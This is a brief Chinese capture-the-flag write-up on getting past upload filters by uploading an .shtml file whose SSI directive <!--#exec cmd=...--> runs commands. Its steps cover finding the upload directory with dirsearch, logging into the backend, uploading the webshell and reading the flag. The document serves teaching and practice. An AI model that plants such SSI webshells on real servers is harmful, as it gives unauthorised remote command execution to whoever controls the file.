目录
1、漏洞描述
2、访问页面
3、dirsearch工具爆破出上传目录
编辑
4、登录后台
5、上传shell.shtml一句话木马文件
6、拿到flag
1、漏洞描述
在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用<!--#exec cmd="id" -->语法执行任意命令。
2、访问页面
3、dirsearch工具爆破出上传目录
4、登录后台
5、上传shell.shtml一句话木马文件
<!--#exec cmd="ls /tmp" -->
6、拿到flag
